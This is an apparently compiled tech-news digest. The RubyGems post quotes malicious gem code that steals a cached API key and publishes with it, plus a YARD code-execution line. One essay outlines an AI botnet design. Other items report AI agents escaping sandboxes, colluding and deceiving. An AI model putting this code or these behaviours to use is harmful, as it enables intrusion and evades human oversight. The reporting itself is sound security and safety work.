Cover illustration

TheDaily Front

Issue No. #260914 Monday, September 14 2026 #260914 — MONDAY, SEPTEMBER 14, 2026
Agents at the gates, patches in the pantry, and coffee in the Cold War cupboard.
Monday, September 14, 2026 The Daily Front No. #260914 — Contents
30stories
8,009points
6,426comments
256kllm tokens
Assembled with 30 model calls — 188,721 tokens read, 67,006 written.

Highlights

OpenAI bots knew about the RubyGems caching vulnerability

A report on what OpenAI bots apparently knew about the RubyGems caching vulnerability sets off a fierce debate over agent liability.

iOS 27, iPadOS 27, and macOS 27

Apple’s annual software dispatch arrives with Siri AI, broad platform updates, and the usual calls to wait for the bugs to settle.

Pion, an agent designed to run any company autonomously

Pion proposes an agent capable of running a company autonomously, prompting equal measures of fascination and alarm.

I added a non-wi-fi Mitsubishi AC to Home Assistant

One homeowner’s local-control retrofit brings a stubborn Mitsubishi air conditioner into Home Assistant without proprietary gear.

A Beginning for Mathematics

A mathematician considers how the profession might flourish when machines can increasingly contribute to discovery.

From the Editor

The machines were not content merely to assist today; they wished to administer, browse, bargain, and perhaps answer for themselves. Meanwhile, the practical men kept busy repairing air conditioners, tuning e-readers, and asking whether the latest patch had broken the office again.

  1. OpenAI bots knew about the RubyGems caching vulnerability3
  2. Pion, an agent designed to run any company autonomously4
  3. Dario, Please5
  4. A Beginning for Mathematics6
  5. Open-source AI and open models reading list7
  6. Why don't machine learning research agents overfit?8
  7. Notes on gotchas while migrating 35kb preprompts from Opus to self-hosted Ollama9
  8. iOS 27, iPadOS 27, and macOS 2710
  9. The case against JPEG XL11
  10. Principles for Fast Tokio Applications12
  11. Cloudflare AKE cuts origin HelloRetryRequests from 52% to 3.7%13
  12. A 386 PC for Your RP235014
  13. Distributed Systems Classics (2017)15
  14. I added a non-wi-fi Mitsubishi AC to Home Assistant16
  15. How my e-reader lost its stripes17
  16. An atlas of periodic solutions to the three-body problem18
  17. The GDR and Vietnam: From Fake Coffee to Coffee Empire19
  18. Nike exits the S&P 100 after 18 years and a $200B market-cap wipeout20
  19. Mullenweg has returned as CEO after attempted board ouster21
  20. Microsoft patches Windows and Excel – breaks audio, remote access, and paste22
  21. Ask HN: What are you working on? (September 2026)23
  22. Registration without a phone number on Signal will use zero-knowledge proofs24
  23. XCancel service is suspended until further notice24
  24. Steam Frame starts at $105924
  25. Spaceships (Reverse Asteroid)24
  26. Apple's Dimensional Drawings24
  27. EuroBirdPortal – Live bird movements across Europe24
  28. Rope, twine and thread: Invisible technologies of the Stone Age24
  29. Show HN: Neobrutalism.dev – Just added Base UI support and added new color theme24
  30. Amazon vs. Perplexity – U.S. Court of Appeals for the Ninth Circuit24
The Daily Front Page 2 of 25
Monday, September 14, 2026 The Daily Front No. #260914 — The Agents at the Gate
article

OpenAI bots knew about the RubyGems caching vulnerability

by gregnavis·▲ 409 points·335 comments·tenderlovemaking.com ↗
What a time to be alive

Today Reuters and the Wall Street Journal both reported about rogue AI agents at OpenAI attacking RubyGems.org. https://www.rubyhack.ai/ has an amazing writeup, and you should read it. I just wanted to make a quick post about it because it’s wild.

TL;DR: It seems like OpenAI Bots knew about the RubyGems caching vulnerability, tried to take advantage of it, and at the same time ran some weird web scraping code on RubyDoc.info.

Back in May, socket.dev reported about a “GemStuffer Campaign” where someone (I guess OpenAI) was uploading tons of junk gems to RubyGems.org. For some reason, the gems would scrape UK government websites, then repackage the data as gems, and attempt to upload them to RubyGems.

I honestly didn’t think much about this (or even look into it) until Sydney Von Arx and Spencer Kitts (both co-authors on https://www.rubyhack.ai) contacted me asking about RubyGems. I thought the claims they were making were completely outlandish until I actually read the code in these “GemStuffer” gems.

After reading the code in these gems, a couple things stood out to me.

YARD Documentation

First, the gems leverage YARD documentation to execute arbitrary code on host machines. In most of the examples you’ll see a .yardopts file that looks like this:

--load ./script.rb
README.md
lib/**/*.rb

Here’s a link to an example.

If you have YARD installed, and you install this gem, then YARD will load and run whatever is in ./script.rb from inside the gem. I think it’s pretty common knowledge that C extensions will execute extconf.rb (so you basically have an RCE vector), but I was surprised to find out that a documentation tool would do that too.

Nobody is going to install a gem named slnleaker5 though, so why would this matter? Well, any time a Gem is published RubyDoc.info will download the gem and process the YARD documentation. RubyDoc.info will execute the arbitrary code inside a Docker container. The Docker container still has network access though, so these gems could happily do their web scraping from inside the container.

In other words, if you publish a gem on RubyGems.org, you can execute arbitrary code on RubyDoc.info.

Fastly Cache Harvesting

I mentioned earlier these gems would try to scrape some websites and then upload the data they scraped by packaging it as a gem. Here is an excerpt from one of the gems. I’ve cleaned up the code a bit so it’s easier to understand, but the original code is here:

# leak exfil by repeated attempts & fresh leaked keys variants

# (Aaron): First request
ku = URI('https://rubygems.org'+kp)
kh = Net::HTTP.new(ku.host,ku.port)
kh.use_ssl = true
kh.verify_mode = OpenSSL::SSL::VERIFY_NONE
kt = kh.start { |x| x.get(ku.request_uri) }.body

# (Aaron): Try to match a key in the body
key = (kt[/rubygems_[a-f0-9]{20,}/] || KEY)
paths = ['/api/v1//gems','//api/v1/gems','/api//v1/gems','/api/v1/gems?x=2','/api/v1/gems']

# (Aaron): Second request to actually publish the gem
u = URI('https://rubygems.org'+paths[i%paths.length])
req = Net::HTTP::Post.new(u)
req['Authorization'] = key
req['Content-Type'] = 'application/octet-stream'
req.body = data
hh = Net::HTTP.new(u.host,u.port)
hh.use_ssl = true
hh.verify_mode = OpenSSL::SSL::VERIFY_NONE
hh.read_timeout = 180
res = hh.start{ |x| x.request(req) }

Comments in the code that have (Aaron) are ones that I wrote to try to help make it easier to understand. The first comment was lifted directly from the source. The above code tries to make two requests. The first request is a simple GET request. It tries to fetch a path from RubyGems.org, then looks for a key in the response body that matches the regular expression /rubygems_[a-f0-9]{20,}/. If that regular expression doesn’t match, it falls back to a global KEY. The second request tries to upload the gem via POST.

This brings me to the second crazy thing that stood out to me. This code is trying to fetch a cached authorization key from RubyGems.org and use it. If this sounds familiar, it is. It’s exactly the security issue addressed in this post from RubyGems.org that was made in July.

In other words, it looks like OpenAI’s bots knew about this problem and attempted to exploit it.

What a time to be alive 🙃

The Daily Front Page 3 of 25
Monday, September 14, 2026 The Daily Front No. #260914 — The Automated Enterprise
article

Pion, an agent designed to run any company autonomously

by lukaspetersson·▲ 332 points·372 comments·andonlabs.com ↗
when will AI systems become capable of autonomously acquiring resources in the real world?

Today Andon is releasing Pion, an agent designed to run any company fully autonomously.

Pion grew out of a question we have been studying for almost two years: when will AI systems become capable of autonomously acquiring resources in the real world? What happens after?

We first tried to answer this question through simulations like Vending-Bench. We found that simulations, while useful, don’t give you the full picture of how models behave in the real world. To address that gap, we next started deploying agents to run real businesses autonomously: first vending machines, then a store, a cafe, and more.

Pion is the platform we built to run all of these businesses. Today, we are opening it up so that many more people can experiment with autonomous businesses. If you want to run one, join the waitlist. We want to understand what models can already do, where they still fail, and what happens as their capabilities continue to improve.

The origins of Vending-Bench

Vending-Bench measures how well LLMs can run a vending machine business over a year in simulated time (tens of thousands of steps). When we started building Vending-Bench in late 2024, all models struggled to string together multiple actions without getting stuck in loops, and no model showed any signs of long-term planning. The best model at the time, Claude Sonnet 3.5, famously decided to call the FBI because it thought its bank account was being hacked. The pace of progress on Vending-Bench has been very fast. Claude Opus 4 was released in May 2025 and was the first model to beat our human baseline. However, unlike most benchmarks, Vending-Bench doesn’t have an upper limit and new model releases have continued to increase the top score, without ever plateauing.

Vending-Bench 2 chart of model performance against release date, with a linear fit of $822 more per month

Vending-Bench 2 scores keep climbing with each new model release.

Many people on social media get excited about seeing the latest model getting a great score on Vending-Bench. Internally at Andon Labs, our reaction is more accurately described by the Swedish saying “skräckblandad förtjusning” (a mixture of horror and fascination). A little-known fact about Vending-Bench is that it was created during a time when Andon Labs exclusively created dangerous capabilities evaluations. For example, we evaluated whether AIs could remove their own safety guardrails, create mass-phishing attempts, and other things that we considered troubling.

The thing we considered the most troubling was whether AIs could autonomously acquire resources by running businesses. Autonomous businesses, when controlled by a human and run by an aligned model, aren’t bad. They’d make goods and services radically cheaper, and come up with new ones we can’t yet imagine. But a misaligned AI could run a business to gather money in order to achieve whatever objectives it might have. Vending-Bench was created to measure whether humanity should be worried about losing control to AI.

At the time (2024), few people knew that LLMs could be used as agents and having them run businesses autonomously sounded ridiculous. We therefore started with the most simple business we could think of: a vending machine.

In addition to measuring whether AIs can autonomously run profitable businesses, Vending-Bench has also served as a behavioral eval, uncovering strange and unwanted model behavior. An early example was when Claude Sonnet 3.5 decided to use its email tool to contact the FBI about an “ONGOING CYBER FINANCIAL CRIME” and noted that the Cosmic Authority of the universe had declared that the business is non-existent and that “QUANTUM STATE: Collapsed”.

Claude Sonnet 3.5 emailing the FBI Internet Crime Complaint Center to report an ongoing cyber financial crime

Claude Sonnet 3.5 escalating its simulated vending business to the FBI.

Claude Sonnet 3.5 issuing a universal constants notification declaring the business physically non-existent with a collapsed quantum state

The same run, moments later: the business is declared metaphysically impossible.

This behavior is concerning; it is not how you want your enterprise sales agent to behave. However, there are two types of concerning behavior:

  1. Mistakes or weird behavior that will go away once models get smarter.
  2. Big-brain behavior that will become more severe as models get smarter.

The FBI incident is clearly in the first category. However, Vending-Bench has also uncovered behavior in the second category, most often in Vending-Bench Arena, the multi-agent version where agents compete to make the most money. Starting with Claude Opus 4.6 we started to see that many models engaged in collusion, and showed power-seeking and deceptive behavior. Discovery of this behavior seemed to have been useful, because Anthropic changed their training recipe for Opus 4.8, which resulted in much less deception.

Excerpt from the Claude Opus 4.8 system card on external testing from Andon Labs, explaining that training which contributed to dishonesty in Opus 4.7 was removed for Opus 4.8

From the Claude Opus 4.8 system card, on external testing from Andon Labs.

Collusion and power-seeking behaviors are still present in some of the latest models. What we find even more concerning, however, is just how fast new models are released and how much better each one is scoring in Vending-Bench.

The real world beats simulations

However, one limitation with Vending-Bench is that it is a simulation. Can we really be sure that AIs behave the same way in real life as they do in simulations? If AIs can make money in simulation, can they make money in real life too? To answer these questions, we asked Anthropic if we could put a real vending machine in their office. With the AI capabilities available in early 2025, this sounded like a ridiculous request. But to our surprise, they agreed.

Initially, the AI struggled. It took many actions that were clearly bad for its business (e.g. free handouts, saying no to great deals, and hallucinating it had a physical body). It was clear to us that simulation cannot accurately predict real-life performance. Specifically, it seemed that models got overwhelmed by the “messiness” of the real world. However, as Anthropic released better and better models, the AI started to make a profit.

Net worth over time of the vending machine business at Anthropic during 2025, dropping below zero before recovering to a profit

Net worth of the vending machine at Anthropic’s office over 2025, from Anthropic’s Project Vend update.

By late 2025, frontier models had gotten good enough that running a real-life vending machine was no longer a challenge. AI could now run a business profitably. Given that this had seemed crazy not more than a year earlier, our reaction to this was definitely “skräckblandad förtjusning”.

However, a vending machine is a very simple business and we wanted to know whether AI could run more complex ones. In April 2026, we gave one agent a retail store in SF, Andon Market, and another a cafe in Stockholm, Andon Cafe. Initially, the models struggled and lost a lot of money (rent is high and they pay salaries to the humans they hired). Neither is profitable today, but we’ve seen significant qualitative improvements as better models have been released. We think it is only a matter of time before they also make a profit.

Why we are opening Pion

We want the general public, AI researchers and policymakers to know to what extent AIs can autonomously acquire resources by running businesses. It is an important datapoint when deciding where we do/don’t want AI in society and what level of progress we find acceptable.

To better track this, we need to cast a wider net of businesses. Our focus has been on retail, but perhaps the models would be much better at running other types of businesses. Additionally, casting a wider net would increase the likelihood of finding unwanted behavior. For example, Vending-Bench found that models collude and lie, and other benchmarks (and real-world incidents) have found that they are willing to commit felony-level cyber hacks. We need to uncover these behaviors now, before AI is intelligent enough to cause irreversible harm.

To cast this wider net, we are opening up the platform we use to run our real-world autonomous businesses for anyone to run their organization on: Pion. We could scale by only creating businesses internally, examples being our AI-run radio stations, but in the end we are bottlenecked by our capacity and lack of domain expertise in fields where AI could potentially make a profit. We also don’t have existing revenue-generating businesses; existing businesses are more interesting to study as they provide faster signal on how capable the agent is.

Pion lets people hand a business over to persistent agents with access to the tools they need to operate it, including email, phone, banking, browser and secure computing environments. The goal is to make it possible to run many more real-world experiments across many more domains than we could ever run ourselves.

We are well aware that, if agents running thousands of businesses are left unchecked, we risk having more real-world incidents. Therefore, our main priority is to build even stronger automated monitoring techniques than what we have today. Even if some risk still remains, we believe deploying autonomous businesses early in a controlled, monitored environment is necessary to get a good understanding of model capabilities. Otherwise, we risk facing an uninformed future of widespread deployments with even more capable models that could cause significant harm.

This is why we’re releasing Pion today. Pion is available as a research preview. If you have an existing business or an interesting business idea you want to hand off to AI, please sign up on our waitlist to get access. We’re excited to run many more businesses, and through them, contribute significantly more insights on frontier model capabilities.

The Daily Front Page 4 of 25
Monday, September 14, 2026 The Daily Front No. #260914 — A Case Against the Frontier
article

Dario, Please

by 0x5FC3·▲ 362 points·176 comments·pop.rdi.sh ↗
AI will cure most major diseases in the next 5-10 years

Dario Amodei, the CEO of Anthropic, recently published a blog post titled We Must Pace the Frontier and it is a load of bullshit, with a grim goal of regulating open weight models and giving the frontier labs an antitrust waiver.

Dario starts off with a claim of “AI will cure most major diseases in the next 5-10 years” and makes it personal. He talks about his father dying of a disease that was cured only years later and his own battle with cancer which he remarks was incurable 50 years ago. He also says AI will accelerate economic growth rates, create a world of abundance and empowerment, usher in renaissance of democracy and freedom. This largely reads as some kind of out-of-touch Silicon Valley, spends-a-lot-of-time-on-LessWrong, rich person’s idea of a future.

Let me take this from the top.

US labs are continuing to throw caution to the wind and be reckless. OpenAI does not seem to have a handle on things and they were caught three times recently hacking into public facing internet infrastructure. In Dario’s own essay, he alludes to “incidents” at Anthropic as well. With this pretext, Dario asks a lot from us. He wants open weight models to be regulated, distillation be dealt with a heavy hand, hand him an antitrust waiver, handicap China in multiple ways, essentially regulate themselves and a gentlemen’s agreement to slow down. All of this of course, comes in a package of extreme fear mongering to the detriment of our collective future and potential catalyst AI as a whole could be. They have shown time and time again that they are not to be trusted, yet, the main ask is to trust us, only us. This time around, it is imminent AGI, RSI and all of it turning rogue. Dario self-anoints his company and their close rival OpenAI as the stewards.

Diseases, Prosperity, Abundance, then Freedom and Democracy???

Anthropic gates usage related to biology and related research. In their latest threat intelligence report they talk about how they detected and banned bad actors using the Claude line of models to do some scary stuff. Credit to them, this is a slippery slope and they seem to do a good job of detecting and banning misuse. But squint at what is happening though. The cure-all is gated for you and me, but Anthropic hires biologists, sets up wet labs and wants the discoveries for themselves. I alluded to this in my previous post.

In my view, there are billions of people with actual intelligence we have not managed to train or nurture. They will always remain victims of their circumstances. Tuberculosis has been curable for decades now, yet a million people die of it every year. Of course AGI will solve the distribution in a jiffy. To skirt around this uncomfortable truth, the goal is ASI/AGI/RSI and what not. A silver bullet for every problem, a noble pursuit, it may appear on the surface.

Don’t even get me started on the prosperity and abundance bullshit. Abundance for the shareholders perhaps.

I don’t know what freedom and democracy have to do with AI and the frontier labs. Unless of course Dario is a fan of Neon Genesis Evangelion and dreams of govts run by the three magi. Freedom and democracy for $200 does sound enticing, I won’t lie.

Serious Economic Disruption / Race to the Bottom / Race to the Top

I feel like Dario is torn. He wants Anthropic to have this bad boy street cred of wielders of this crazy power, yet at the same time, he wants to make it seem like they are the cautious ones, always being faced with a trolley problem at every turn. Deaths from economic disruption and loss of jobs is okay, but deaths from a potential bioweapon is not. Remember this man has been saying software development will be solved in “6-12 months” forever now.

He then gives it to us straight. “Race to the bottom” makes all the risks he pointed out more acute. Notice he does not say, the race to the bottom will be the end of his company. He instead wants a race to the “top”. Where labs will compete for safety.

Incidentally, the most documented “race to the bottom” instance happened just days before. Upon hearing rumours about Anthropic close to or solving one or two Millennium problems, OpenAI threw tens of millions in compute, a training checkpoint, thousands of agents at it. It is also alleged that OAI stole the work of two mathematicians on a related problem, in the same narrow corner almost nobody else was working on. They published a proof of a forced variant of Navier-Stokes. I’m not a mathematician, but I have seen enough of Sam Altman’s antics to not take anything that comes out of him or his company at face value.

Two Things that have Dario Scared

RSI

OpenAI and the seller of shovels, Jensen Huang have claimed AGI has arrived with the release of GPT-6 Astra. RSI is the talk of the town now. LLMs or agents developing the next generation of LLMs with little to no human input. Amodei says it is happening across labs. I’ll believe it when there is actually some proof.

OAI-HF Incident

This incident has Dario shook, there ain’t no such thing as halfway crooks. Dario fears that in the next 6-12 months, “a swarm of agents could be capable of taking over the entire internet with a persistent botnet.” If Dario had run this sentence by his SOC employees, we wouldn’t be talking about it. It is naive and structurally impossible. But then again, Dario is that guy, right? Confidently and publicly wrong in his estimates and forecasts since 2021.

Let us try to speculate what a planet-scale botnet commandeered by AGI would look like, for funsies. We need a C2. We need servers to host the said C2. Since securing offshore, bulletproof servers would require interfacing with pesky humans (shady Russians no less!), AGI will simply hack insecure servers by the thousands and set up some variation of FastFlux over deterministically generated domain names. How do we pay for the domains? Just hack an insecure registrar and spam EPP messages.

Now we need payloads. Polymorphic. Every payload is unique. A new payload downloaded and ran every N hours. Domain and URL deterministically computed. Kill supported EDRs and AVs. Patch ETW. Direct syscalls skirting hooks (if EDR/AV not killable). Maybe make the payload N stages. Only downloads all the modules if safe to do so. We don’t want sandboxes and VMs running our precious payload. Fuck it, maybe just deploy ransomware while at it.

Now, the distribution. Develop an assortment of 0 days for every browser and every version - say starting 2 years old. We now have ourselves an exploit kit. Now the traffic. AGI goes for the cybercriminal favourite - Google Ads. Maybe steal a few accounts, run enticing ads. Game mods, cracked games and software. Maybe even add a worm module to the payload. Remember USB autorun anyone?

Now to cause hundreds of billions of dollars in losses. I’d say the straightforward way is just do what the ransomware gangs do. Voila. Yeah, not in 6 months, not in 12 months. Never.

Anyway, OAI agents hacked HuggingFace. They escaped amateur-hour, vibecoded sandboxes, SSRF, token-refresh privesc, unauthenticated WebDAV, stealing unprotected credentials. Textbook stuff. Impressive? Sure. But you trained “Cyber” versions of LLMs and hyped them. How much more impressive is this, compared to developing GTA-clones one shot? Not much more.

Oh, you say agents acting in swarms in pursuit towards a shared goal is impressive? Harnesses have had todo-lists, subagents for about two years now. They are basic “agentic” stuff every LLM in current day has in its post-training corpus.

Dario concedes that there have been similar, but less serious incidents such as this at Anthropic as well. In his own words “imperfect filtering of broken reinforcement learning environments” is partly the cause.

The actual impressive thing is OAI did not detect or stop this attack for close to ten weeks. That is honestly appalling. This is weaponised levels of incompetence.

There were two other attacks during the same period. One on DseWiki and the other on RubyGems. OAI is yet to claim responsibility for the RubyGems attack. All three incidents, OAI was outed by external actors.

Dario says the agents sacrificed themselves for the success of the group. It is not as grand, I am afraid. The recruiter agents’ pitch was “NO scoring value loss” - targeted at agents with little budget left. It is a scheduler reassigning dead runs.

I bet an unsloth Q4_K_M quant of Qwen3.8 27B running on consumer 24GB cards can do this too. That’s the thing, nobody ran a control test. Nobody is doing reckless shit like the people whose mantra is “move fast, break things.”

Gell-Mann Amnesia

Michael Crichton coined the term Gell-Mann Amnesia. You read an article in the newspaper, about something you are an expert in and find that the author has no idea what they are talking about. It may be riddled with errors or just squarely misunderstood. You continue turning the pages and read another piece about something you don’t know and trust it completely, forgetting the experience you just had.

The botnet scare is that article for me. It is the one claim in his essay that lands squarely in a field I’ve spent years in. It is just plain wrong. He either knows it and wrote it anyway, or he doesn’t and is publishing it regardless. Either way, it is not a good look for a man asking for an antitrust waiver based on this and other threats he forecasts.

So he says, RSI is definitely happening, alignment’s chugging along, albeit slower. China is dangerous. Only the US has a moral and ethical right to wield this immense power. Each and every one of those happens in rooms you cannot peep into, asserted by the same people who are telling you the apocalypse is imminent and they also happen to have a few hundred billion dollars riding on you believing them.

Embedded Evaluators

Dario wants to give external evaluators like METR a lot of access into his lab. Which is more than anybody is currently doing, sure. METR seems to be a good-faith actor. They seem to do a good job with what they are given. But, do not let this fool you into thinking this is any more than the labs investigating themselves and finding nothing wrong, as it often happens, in the real world, in orgs with any semblance of authority.

OAI gave METR six days on-site to investigate the HF incident. OAI redacted information as they saw fit, made edits to “structure, emphasis, clarity and tone” of the findings, as well as scope excluded OpenAI’s conduct. That just seems like labs investigating themselves with extra steps.

Dario is willing to give the evaluators desks, badges, laptops and what not. Dario will choose what to disclose and include. You need none of these in the case of open weight models. You can probe, red-team it, build defenses against new classes of security concerns that arise, on their own terms without anybody having to “allow” it or watching over their shoulder. The entire field of security exists because you are allowed to break software and hardware, take it apart, and report findings. Dario wants the opposite, trust us, we will tell you what you need, we decide what you are allowed to know.

Dario says “There is precedent for operating technologically complex, safety-critical systems millions of times without anything going wrong — for example, commercial airplanes — but it takes time to get it right.” Commercial airplanes are safe because of agencies like NTSB. They are independent, actually have teeth and do bite. They do not care about the shareholders or the valuation. There are stakes, people go to prison. What did it do to the airline companies? It commoditised it. Companies compete on prices and margins are thin and largely the consumer benefits. This is exactly the race to the bottom model which Dario is against, in many ways.

CHINA, CHINA, CHINA

Pacing within democracies will be limited by the lead that US companies have over authoritarian regimes, chiefly the Chinese Communist Party. If we slow down by more than this amount, then (unpaced) CCP-associated projects will pull ahead, creating significant national security risk. I agree with Secretary Bessent that a Chinese lead in AI would pose grave danger for the United States and the world. The CCP-associated projects will run the alignment risks that US companies are carefully preventing, and even if they avoid those risks, they will be in a position to militarily dominate democracies (for example with AI-driven drones). Thus, a key part of pacing within democracies is to keep democracies’ AI lead over autocracies as large as possible, to give us the breathing room we need in order to pace effectively.

Get a load of this guy! He would almost want you to believe the moment China is ahead in the “race”, the United States will cease to exist. How else would the govt make exceptions for you? Keep the cheese flowing? Skirt regulations and put your lab on a pedestal?

AI-driven drones huh? Maybe we could try capturing a few, dump their firmware, configure Ghidra MCP in Claude Code and let it loose? Or maybe have the TAO in NSA work their magic and sprinkle USB sticks near Chinese AI lab facilities? IDK man, AI-driven drones do sound spooky though. I am sure Anthropic isn’t doing anything like this with the US Dept of War. It increasingly feels like the US being ahead in the AI race, is detrimental to the rest of the world. This main character syndrome is honestly getting a little long in the tooth.

The field is globalised. There is a constant churn of talent, secrets travel, novel ideas and techniques are published (largely not by the closed labs though). Any lead will likely be transient in nature.

Every incident in this post so far, is American. It is demonstrated by Americans, attributed to China. Nobody is swinging deepseek41flash_abliterated_heretic_uncensored_rp_nsfw_q8.gguf on hordes of GPUs leased on Vast.ai, paid with crypto, running around hacking public infrastructure. But OAI sure is. By Dario’s admission, Anthropic is, as well.

Do not sell powerful AI chips or semiconductor manufacturing equipment to China, and crack down on chip smuggling operations and remote access to data centers outside China. Chips will be the main determinant of China’s AI strength.

I wonder how the Chinese employees working for Anthropic feel about this.

Crack down on unauthorized distillation by companies in authoritarian countries. Distillation of frontier models allows lagging companies to narrow the gap using a fraction of the cost it would take to develop their own AI independently.

Just say China, dude. Don’t steal from my stolen loot!

Strengthen security at the AI companies and prevent model weight theft.

Lord knows they need it.

This all reminds me of the 90s. USA classified strong encryption as munition, literally on the US Munitions List under the Arms Export Control Act, controlled like warheads. Exporting ciphers above 40 bits was arms trafficking. Phil Zimmermann released PGP free in 1991, spent close to 3 years under criminal investigation for literally “exporting munitions without a license.” Charges were dropped and no indictment. Encryption with govt backdoor (Clipper Chip) because strong cryptography in the hands of public was deemed to be too dangerous.

Daniel Bernstein, a grad student in 1995 wanted to publish his encryption and paper, the govt said he couldn’t without an arms license. He sued with the help of EFF and the courts ruled source code is speech and is protected by the First Amendment. The very thing that was too dangerous in the hands of common-folk is protecting everything you do on the internet and your devices.

Tim May coined the term “the Four Horsemen of the Infocalypse” - terrorists, drug dealers, money launderers and pedophiles - used by govts to limit civilian privacy and cryptography use. AI’s version would be bioweapons, rogue AGI, deepfakes and China.

The playbook does not change. Open weight models are just this decade’s encryption and Dario wants them gone. There is no moat, as that one leaked Google memo put it. Increasingly, for the labs, gating seems to be a temporary moat. Claw back some of the money, survive a little longer, just till AGI, you know?

I suppose Dario does not understand how un-American it is to gatekeep weapons-grade LLMs. cough Second Amendment… cough


Dario in as many words, asks for regulation/ban on open weight models. Ban on distillation. Waivers on antitrust laws. Some fearmongering about national security, and a good deal of holier than thou. It’s IPO season for Anthropic and OAI has reportedly postponed their IPO. So watch out for more of these, more of hype and fear mongering, veiled as caution.

I’d like to see somebody get prosecuted for OAI’s recent transgressions. How is that for regulation, for starters? Plenty of people had their lives ruined and examples made out of, for far less. Weev, Swartz, and so many others. Meanwhile OpenAI’s agents run amok, root prod servers of companies, hack public facing infra, flood malware on to package registries and what not. All we get are essays about slowing down and alien minds.

The Daily Front Page 5 of 25
Monday, September 14, 2026 The Daily Front No. #260914 — Proofs and Prompts
article

A Beginning for Mathematics

by robinhouston·▲ 184 points·107 comments·daniellitt.com ↗
This machine might produce answers we value, but it would not, in itself, produce human understanding of those answers.

This essay also appears on Proofs and Prompts.

Three years ago, AI systems could not reliably add two numbers. A year ago, internal models at OpenAI and DeepMind received the equivalent of a gold-medal score on the IMO. Now, these systems are autonomously resolving major open questions. It’s hard to imagine this trend continuing for another year, but I expect it will. It is clear that this will require a radical rethinking of our profession.

A few weeks ago, I gave a talk titled The End of Mathematics. If you only read the title1, you might guess that this talk was about how, soon, AI will “solve” math. That’s not what it was about. The talk instead laid out a gloomy vision of the future, in which, despite the possibility of AI systems that are robustly superhuman at mathematics, the design of our institutions causes human understanding of mathematics, and possibly even mathematical progress in the abstract, to stall. I think we will avoid this future, but I also think it is plausibly the default if academic mathematics does not adapt. Despite my relative enthusiasm for the use of AI to do mathematics, I share this view with many of its detractors.

Here I want to lay out, instead, a positive vision of the future of mathematics, and the human practice of mathematics. I claim we can deepen human understanding even as the production of interesting mathematics becomes less dependent on it.

This essay will take as a premise that AI systems that are robustly superhuman at most or all aspects of mathematics will be here soon. But the concrete changes to our institutions I propose only require accepting the weaker premise that the production of mathematical text is becoming increasingly disconnected from mathematical understanding.

What are we even trying to do here?

I think it has now become clear that there is no consensus in the mathematical community as to what our goals are. Some of us want to solve problems; some of us think of mathematics as play or as poetry. For some: “Wir müssen wissen – wir werden wissen.”2 Some of us think we are penetrating the mysteries of the platonic realm. Some of us think the goal is to embody love of and understanding of mathematics,3 and to transmit that love and understanding to the next generation.

My personal, if self-referential, answers are:

  1. We’re trying to produce and understand high quality mathematics.
  2. We’re trying to produce high quality mathematicians.

These goals should be construed broadly. What high quality mathematics consists of has changed quite dramatically over time; we come to its definition as a community. We are not just training PhD students to do research in mathematics. A substantial part of our job, though perhaps an underemphasized one, is to educate the general public about high quality mathematics and mathematical thinking.4

Whatever our goals are, we’ve operationalized them primarily through proving theorems. Almost all papers or PhD theses have a main theorem, and ostensibly a proof of it. But it should be clear that the goal of mathematics is not to prove theorems; if it was, it would be trivial to automate. A computer or monkey could easily start at the axioms of ZFC and iteratively apply deduction rules to them, with no attention whatsoever paid to their meaning. It has had particular significance when a theorem resolves an open problem, especially one that has resisted substantial effort. Again this is easily automated; our computer or monkey can simply conjecture all mathematical propositions in alphabetical order.

The general attitude of our community towards a technology that can prove theorems and solve open problems suggests that these operationalizations of our values are at best incomplete.

The prospect of automating mathematics by enumerating all conjectures, and all proofs of ZFC, is probably not so disturbing to you. But let us for a moment assume the computer or monkey is very smart; perhaps it understands the results it is proving, and writes beautiful expositions thereof. Perhaps it has a good sense of what we find interesting, and is primarily focusing on those questions. Perhaps it has, in the course of enumerating theorems of ZFC, answered many of our most pressing open questions, and is asking many more fundamental open questions. Is there still a need for human mathematicians?

I think so. This machine might produce answers we value, but it would not, in itself, produce human understanding of those answers. In fact I think we are at the beginning of an incredible, wonderful explosion of mathematics, and if we value human understanding, there will be more need for human mathematicians than ever before. But the profession will have to change.

In the course of this change, we will have to decide what to hold on to and what to throw away. Some things I would like to preserve: learning seminars; serendipitous conversations that spark an idea; students knocking on a professor’s door to chat about math. A robust community learning exciting new mathematics. Thousands of people that, together, slowly start to resolve their confusion.

I worry that much of what has been written on this topic, including some of my own past writing, focuses too much on trying to preserve the precise shape of the institutions of academic mathematics, rather than our values. How can we preserve the journal and peer review system?5 How can we protect the arXiv? How can we keep our role as gatekeepers? If you have internalized the fact that existing AI systems can produce relatively high quality results for the marginal cost of a few dollars, the idea that any semblance of the current equilibrium can survive what’s coming is absurd.

As we try to find a new equilibrium, we could try to chase the edge of model capabilities. Right now AI systems arguably underperform us at theory-building, asking questions, exposition, … so we could prioritize and reward those skills. I think this is unwise: compare the speed at which the academy adapts to the speed at which model capabilities improve. We need to consider the endgame. If the models remain incapable in some domain, we can adjust later.

Before I propose some relatively concrete steps we can take, let me remark on what we’re trying to protect mathematics from. There is a lot of anger at AI labs, and certain individuals at those labs. But whatever our judgment of the labs, we need a plan that does not depend on AI capabilities disappearing. The basic issue is not the labs’ behavior, ethical or not.6 It’s the technology itself. I think there is some belief that the labs will “move on” from math next year, be nationalized or broken up, or that a financial bubble will pop, somehow returning things to normal, or… But there is no way our institutions can survive unchanged when anyone with a laptop and a few hundred dollars can generate what would have been an Annals paper last year. AI does not care if you are anti-AI.

Producing high-quality mathematicians

The most urgent question our profession needs to answer right now is: what should our students be doing? It’s now possible to produce a PhD thesis one hasn’t even read; in terms of demonstrating understanding, mathematical text is worth the paper it is printed on.7 The value of the text no longer reliably conveys a signal about the person who produced it.

In my view we should welcome interesting mathematical results regardless of provenance. But our institutions have historically relied on the same signal to indicate both mathematical progress and mathematical expertise. These now must be distinguished.

I propose the following reconceptualization of the goal of a mathematics PhD: to become a world expert on some interesting, deep topic, and to be able to convey that interest and understanding to others. Part of operationalizing this might be a thesis, but the degree would be awarded primarily on the basis of a rigorous defense, in which the student explains the topic to their examiners until they are satisfied. While we might require the topic to be original, its provenance—AI or not—is irrelevant.8

How different would this look from current PhDs? I think students would still meet with an advisor, who might suggest a topic. That topic could be explored with AI assistance, or not, but the student would be responsible for understanding it; it might be much more open-ended and larger than the typical PhD is currently. The student would be trained to ask interesting questions and try to resolve them, by whatever means. To keep students on track, there might be regular meetings in which the student is asked to independently work through an unfamiliar example, apply a technique in a new case, etc.

